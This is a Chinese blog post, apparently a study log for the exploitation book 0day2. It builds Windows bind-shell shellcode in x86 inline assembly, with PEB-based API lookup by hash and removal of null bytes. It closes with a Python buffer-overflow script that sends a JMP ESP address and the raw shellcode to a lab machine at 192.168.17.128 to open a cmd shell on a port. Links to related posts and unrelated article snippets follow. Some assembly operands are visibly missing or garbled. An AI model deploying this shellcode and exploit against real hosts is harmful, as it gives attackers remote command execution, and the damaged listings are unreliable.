旧书重温:0day2【6】bind_shell
学习了以上5节课,我们学到了很多知识,例如如何动态获取指定函数的地址;我们也学到了很多经验,例如如何发现代码中的错误,如何用od定位到错误,并修正。
有了以上积累,今天我们继续实验bind_shell,我没还是延用32位hash,来比较hash定位函数,而没用书中的8bit的hash,避免碰撞。题外话:周末了玩疯了有没有CF 、LOL
晚上静下心来调试了代码,今天就先获取下函数地址吧!
/*
LoadLibraryA function`s hash is 0c917432
CreateProcessA function`s hash is 6ba6bcc9
ExitProcess function`s hash is 4fd18963
WSAStartup function`s hash is 80b46a3d
WSASocketA function`s hash is de78322d
bind function`s hash is dda71064
listen function`s hash is 4bd39f0c
accept function`s hash is 01971eb1
GetProcAddress function`s hash is bbafdf85
Press any key to continue
*/
void bind_shell()
{
//参考以前的代码
__asm
{
CLD
//存储hash push 0x80b46a3d //WSAStartup
push 0xde78322d //WSASocket
push 0xdda71064 //bind
push 0x4bd39f0c //listen
push 0x01971eb1 //accept
//----------------------以上是ws2_32.dll中的函数
push 0x0c917432 //load
push 0x6ba6bcc9 //createProcessA
push 0x4fd18963 //ExitProcess
//-----------------------以上是kernel32.dll导出的函数
mov esi,esp //esi = hash list 的顶 exitprocess
lea edi,[esi - 0x20] //8个函数 *4 = 0x20 edi 指向 查找到的函数地址写入位置 xor ebx,ebx
mov bh,0x05
sub esp,ebx //抬高堆栈 500h 保护 hash list mov bx,0x3233 //2 3
push ebx
push 0x5F327377 //_ 2 s w
push esp //ebp = "ws2_32"
xor edx,edx mov ebx,fs:[edx+0x30] //peb addr
mov ecx,[ebx + 0x0c] // ldr addr
mov ecx,[ecx + 0x1c] // list frist push edi
push esi next_module:
mov ebp,[ecx+0x08]
mov edi,[ecx+0x20]
mov ecx,[ecx]
cmp [edi + *],dx
jne next_module pop esi
pop edi find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x01971eb1 //zhenw0 jne find_functions //如果 要查找accept的hash时 要切换dll了
xchg ebp,eax
call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址
xchg ebp,eax find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi //zai exp 表中查找 函数
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop: //计算hash
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至
ror edx, //右移7
add edx,eax //
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x80b46a3d //如果已经查找到最后一个hash了 就不跳转了
jne find_lib_functions function_call: //函数都找到了 开始 scoket了 int 13 //便于od附加 } }
调试发现确实有很多地方要微调下!
呵呵以上的代码已经被大改动了,是为了使用 lodsd call eax 顺序执行 WsaStartup WSaSocketA bind listen accept 等函数hash列表已经调整
最终版本 汇编bindshell
CLD
//存储hash push 0x01971eb1 //accept
push 0x4bd39f0c //listen
push 0xdda71064 //bind
push 0xde78322d //WSASocket
push 0x80b46a3d //WSAStartup
//----------------------以上是ws2_32.dll中的函数
push 0x0c917432 //load
push 0x6ba6bcc9 //createProcessA
push 0x4fd18963 //ExitProcess
//-----------------------以上是kernel32.dll导出的函数
mov esi,esp //esi = hash list 的顶 exitprocess
lea edi,[esi + 0x20] //8个函数 * = 0x20 edi 指向 查找到的函数地址写入位置 xor ebx,ebx
mov bh,0x05
sub esp,ebx //抬高堆栈 500h 保护 hash list mov bx,0x3233 //
push ebx
push 0x5F327377 //_ s w
push esp //ebp = "ws2_32"
xor edx,edx mov ebx,fs:[edx+0x30] //peb addr
mov ecx,[ebx + 0x0c] // ldr addr
mov ecx,[ecx + 0x1c] // list frist push edi
push esi next_module:
mov ebp,[ecx+0x08]
mov edi,[ecx+0x20]
mov ecx,[ecx]
cmp [edi + *],dx
jne next_module pop esi
pop edi find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x80b46a3d //zhenw0 jne find_functions //如果 要查找accept的hash时 要切换dll了
xchg ebp,eax
call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址
xchg ebp,eax find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi //zai exp 表中查找 函数
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop: //计算hash
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至
ror edx, //右移7
add edx,eax //
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x01971eb1 //如果已经查找到最后一个hash了 就不跳转了
jne find_lib_functions function_call: //函数都找到了 开始 scoket了 add esi,0x0c //mov eax,[esi]
//--------------------------------------------------wsastartup(dword,lpwsadata)
//std
//std
push esp
push 0x02
lodsd
call eax
// eax = 可以使用eax填充数据
//-------------------------------------------------WSASocketA(af,type ...) mov ecx,0x50
mov edi,esp
rep stosd inc eax //eax =
push eax
inc eax
push eax
lodsd
call eax
xchg ebp,eax // ebp = socket handle //--------------------------------------------------------bind
mov eax,0x0a1aff02
xor ah,ah
push eax
push esp
call_loop: // bind() listen() accept() dou zai zhe li
push ebp
lodsd
call eax
test eax,eax
jz call_loop //初始化,startpinfo
inc byte ptr [esp+0x2d]
lea edi,[esp+0x38]
stosd
stosd
stosd pop eax push esp
push esp
push eax
push eax
push eax
push esp
push eax
push eax
//int
//////////cmd mov dword ptr [esi],0x646d63
push esi ///////////////
push eax call [esi-0x1c] call [esi-0x20]
以上是 vc6.0 内联式代码
运行起来后 使用 telnet去连接吆!
我分享下经验
0x01:首先就是hash列表的顺序,按这种顺序来真不错,那个连续调用 bind listen accept 的地方,可以节约代码,还挺方便
0x02:int 3 当我们调试代码时,我们想看看内存分布、寄存器值什么的,我们就可以使用此办法,使用od自动附加上,这样我们就可以看到很多信息了
0x03:在布置STARTUPINFO 结构时,我们手头又没资料,我们可以自己使用编译器给我们计算出来,下图
就这样我们获得了dwflags的值和偏移量,这样我们就可以布置内存了,来构造si结构
这样我们就获得了输入句柄输出句柄错误句柄的偏移了,继续构建我们重要的数据
以下是win7(母机)使用telent成功连接虚拟机的截图
接下来我们提取机器码并实验攻击Exploit_me_A.exe
在提取过程中,发现了很多00 所以为了避免截断,我微调了汇编代码避免了00的出现
CLD
//存储hash push 0x01971eb1 //accept
push 0x4bd39f0c //listen
push 0xdda71064 //bind
push 0xde78322d //WSASocket
push 0x80b46a3d //WSAStartup
//----------------------以上是ws2_32.dll中的函数
push 0x0c917432 //load
push 0x6ba6bcc9 //createProcessA
push 0x4fd18963 //ExitProcess
//-----------------------以上是kernel32.dll导出的函数
mov esi,esp //esi = hash list 的顶 exitprocess
lea edi,[esi + 0x20] //8个函数 * = 0x20 edi 指向 查找到的函数地址写入位置 xor ebx,ebx
mov bh,0x05
sub esp,ebx //抬高堆栈 500h 保护 hash list mov bx,0x3233 //
push ebx
push 0x5F327377 //_ s w
push esp //ebp = "ws2_32"
xor edx,edx mov ebx,fs:[edx+0x30] //peb addr
mov ecx,[ebx + 0x0c] // ldr addr
mov ecx,[ecx + 0x1c] // list frist push edi
push esi next_module:
mov ebp,[ecx+0x08]
mov edi,[ecx+0x20]
mov ecx,[ecx]
cmp [edi + *],dx
jne next_module pop esi
pop edi find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x80b46a3d //zhenw0 jne find_functions //如果 要查找accept的hash时 要切换dll了
xchg ebp,eax
call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址
xchg ebp,eax find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi //zai exp 表中查找 函数
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop: //计算hash
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至
ror edx, //右移7
add edx,eax //
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x01971eb1 //如果已经查找到最后一个hash了 就不跳转了
jne find_lib_functions function_call: //函数都找到了 开始 scoket了 add esi,0x0c //mov eax,[esi]
//--------------------------------------------------wsastartup(dword,lpwsadata)
//std
//std
push esp
push 0x02
lodsd
call eax
// eax = 可以使用eax填充数据
//-------------------------------------------------WSASocketA(af,type ...) lea ecx,[eax+0x50]
mov edi,esp
rep stosd inc eax //eax =
push eax
inc eax
push eax
lodsd
call eax
xchg ebp,eax // ebp = socket handle //--------------------------------------------------------bind
mov eax,0x0a1aff02
xor ah,ah
push eax
push esp
call_loop: // bind() listen() accept() dou zai zhe li
push ebp
lodsd
call eax
test eax,eax
jz call_loop //初始化,startpinfo
inc byte ptr [esp+0x2d]
lea edi,[esp+0x38]
stosd
stosd
stosd pop eax push esp
push esp
push eax
push eax
push eax
push esp
push eax
push eax
//int
//////////cmd mov dword ptr [esi],0x11646d63
mov byte ptr [esi+0x03],bl
push esi ///////////////
push eax call [esi-0x1c] call [esi-0x20]
最后提取出来的机器码,我已经做成python的脚本了。
import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("192.168.17.128",)) JMPESP = "\x12\x45\xFA\x7F" buf = 'z'* + JMPESP + "\xFC\x68\xB1\x1E\x97\x01\x68\x0C\x9F\xD3\x4B\x68\x64\x10\xA7\xDD\x68\x2D\x32\x78\xDE"\
"\x68\x3D\x6A\xB4\x80\x68\x32\x74\x91\x0C\x68\xC9\xBC\xA6\x6B\x68\x63\x89\xD1\x4F\x8B"\
"\xF4\x8D\x7E\x20\x33\xDB\xB7\x05\x2B\xE3\x66\xBB\x33\x32\x53\x68\x77\x73\x32\x5F"\
"\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B"\
"\x09\x66\x39\x57\x18\x75\xF2\x5E\x5F\xAD\x3D\x3D\x6A\xB4\x80\x75\x05\x95\xFF\x57\xFC"\
"\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB"\
"\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C"\
"\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB"\
"\x57\x61\x3D\xB1\x1E\x97\x01\x75\xA9\x83\xC6\x0C\x54\x6A\x02\xAD\xFF\xD0\x8D\x48\x50\x8B"\
"\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50\x54\x55\xAD"\
"\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x8D\x7C\x24\x38\xAB\xAB\xAB\x58\x54\x54\x50\x50"\
"\x50\x54\x50\x50\xC7\x06\x63\x6D\x64\x11\x88\x5E\x03\x56\x50\xFF"\
"\x56\xE4\xFF\x56\xE0\x90\x90\x90\x90\x90\x90" sock.send(buf)
以上代码需要改动下ip。不明白的参考以上几篇,成功的图我就不上了。
----------------------------------------------------
| QQ252738331
| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)
----------------------------------------------------
旧书重温:0day2【6】bind_shell的更多相关文章
- 旧书重温:0day2【10】第五章 堆溢出利用2
好久没有发帖子啦!最近一直很忙!但是还是抽空学习啦下! 前段时间匆匆忙忙的把0day2上的堆溢出实验做啦! 可能当时太浮躁啦,很多细节没注意!结果:实验结果很不满意!所以就有啦这一篇!! 上一篇是发布 ...
- 旧书重温:0day2【1】 简单的缓冲区溢出案例
0x01 准备: VMwarePlayer (我是在360软件管家那搜到的下载的) xp sp2 http://user.qzone.qq.com/252738331/blog/1357138598 ...
- 旧书重温:0day2【8】狙击windows的异常处理实验
现在进入0day2的第六章内容 其中第六章的书本内容我都拍成了图片格式放在了QQ空间中(博客园一张一传,太慢了)http://user.qzone.qq.com/252738331/photo/V10 ...
- 旧书重温:0day2【9】第六章 攻击c++的虚函数
不知不觉,我们学到了0day2的第六章形形色色的内存攻击技术!其中,这张很多东西都是理论的东西,不过!我们还是要想办法还原下发生的现场! 其中部分文章截图 http://user.qzone.qq.c ...
- 旧书重温:0day2【7】堆溢出实验
相关文章我拍成了照片,放在了我的QQ空间不是做广告(一张一张的传太麻烦了)http://user.qzone.qq.com/252738331/photo/V10U5YUk2v0ol6/ 密码9 ...
- 旧书重温:0day2【5】shellcode变形记
紧接上一篇,结合第一篇 //这篇文章主要成功溢出一个带有缓冲区溢出的小程序,其中我们的shellcode被strcpy截断了所以我们需要变形shellcode,这个实验中也出现了很多意想不到的拦路虎, ...
- 旧书重温:0day2【4】动态获取函数地址
通过以上3篇文章的学习,我们已经可以获取到kernel32.dll的地址了下一步 我们就是获取几个重要的函数 1.GetProcAddress 2.LoadLibrary 有了这两个函数很多函数都可以 ...
- 旧书重温:0day2【3】 详细解读PEB法 查找kener32地址
题外话:上一篇文章中的 PEB法查找kerner32地址的方法 对TEB.PEB .PE结构 知识要求很高,确实在写汇编代码时候小编 感觉自己能力,信手啪啪一顿乱撸,结果一运行,非法访问了,没办法翻阅 ...
- 旧书重温:0day2【2】 实验:三种获取kernel32.dll基址的方法
0x01 找kernel32基地址的方法一般有三种: 暴力搜索法.异常处理链表搜索法.PEB法. 0x02 基本原理 暴力搜索法是最早的动态查找kernel32基地址的方法.它的原理是几乎所有的win ...
随机推荐
- Java并发(3):volatile及Java内存模型
Java 语言中的 volatile 变量可以被看作是一种“程度较轻的 synchronized“:与 synchronized 块相比,volatile 变量所需的编码较少,并且运行时开销也较少,但 ...
- 第四课 Makefile文件的制作(下)
1序言: 前面一节课讲解了Makefile的基础知识包括原理.预定义以及命令格式,这样是可以完成一个自动编译的文件,这些知识可以帮你完成.想想mak真是强大啊,可能有些同志发现了如果项目文件太多每个目 ...
- cdojQ - 昊昊爱运动 II
地址:http://acm.uestc.edu.cn/#/contest/show/95 题目: Q - 昊昊爱运动 II Time Limit: 3000/1000MS (Java/Others) ...
- return false 和 return true
常规用法 在普通函数中:return 语句终止函数的执行,并返回一个指定的值给函数调用者,一般会用一个变量接收这个返回值再进行其它处理.如果未指定返回值,则返回 undefined 其中,返回一个函数 ...
- Json日期格式 转化为 YYYY-MM-DD-hh-mm-ss
function timeStamp2String(time) { var datetime = new Date(); datetime.setTime(time); var year = date ...
- ORM实例介绍
http://blog.csdn.net/RonoTian/article/details/2900714
- Python面试题之Python正则表达式指南
1. 正则表达式基础 1.1. 简单介绍 正则表达式并不是Python的一部分.正则表达式是用于处理字符串的强大工具,拥有自己独特的语法以及一个独立的处理引擎,效率上可能不如str自带的方法,但功能十 ...
- idea使用maven骨架创建maven项目
Maven 骨架创建 Java Web 项目 1) File -> New -> Project... 2) 如下图 3)如下图 GroupId和ArtifactId<项目名> ...
- LeetCode——Hamming Distance
LeetCode--Hamming Distance Question The Hamming distance between two integers is the number of posit ...
- Git和GitHub相关
组员从GitHub上下载项目并上传项目的步骤如下 .组员接收到组长发的项目地址,组员需要从GitHub上把项目克隆下来,首先组员 需要在本地的一个文件夹里打开git,然后运行如下代码:git clon ...